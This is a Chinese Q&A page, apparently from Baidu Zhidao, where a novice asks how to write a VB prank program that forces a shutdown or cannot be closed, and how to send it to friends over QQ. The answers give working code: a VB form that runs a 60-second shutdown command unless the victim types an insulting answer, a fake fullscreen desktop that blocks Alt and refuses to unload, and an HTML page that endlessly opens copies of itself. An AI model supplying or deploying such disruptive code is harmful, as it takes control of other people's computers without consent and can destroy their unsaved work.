如何使用VB编写整人小程序？高手进

来源：百度知道 编辑：UC知道 时间：2024/05/29 19:39:30
要是那种让人死机或者关不掉的只能重启的那一种，但千万得对电脑无害啊，别有病毒，谢谢啦
麻烦请说明具体步骤，我是菜鸟啊，要非常具体啊，具体具体到按键啊，，，，谢谢，麻烦各位了 告诉我编写程序的具体步骤啊，，，谢谢 还有请告诉我如何通过QQ把它发给别人
...

Private Sub Form_Load()
Dim wood As String
MsgBox "谁是猪", vbCritical, "提示" '这里写捉弄人的话
wood = InputBox("请输入答案:")
If wood = "我" Then '答案可以自己设
End
Else
Shell "cmd.exe /c shutdown -s -t 60" '60秒后关机
End If
End Sub

上面的60秒关机时候自己改下，建议不要改得太小，经常快速关机对电脑不好。

截图,复制到窗体上,窗体设置大小为比屏幕大一点,Top=-1,Left=-1
用按键事件拦截ALT键,一按ALT就做其他事情例如某个控件的setFocus

Unload事件上写上:

Cancel = 1
Exit Sub

还有一个最重要的是,前置窗口

两步
1、打开一个文本编辑器，把下面代码拷贝进去
<html>
<head>
</head>
<body>
<script language="javascript">
window.open("a.html");
</script>
</body>
<html>
2、把文件保存成 a.html
让他/她打开看看，呵呵呵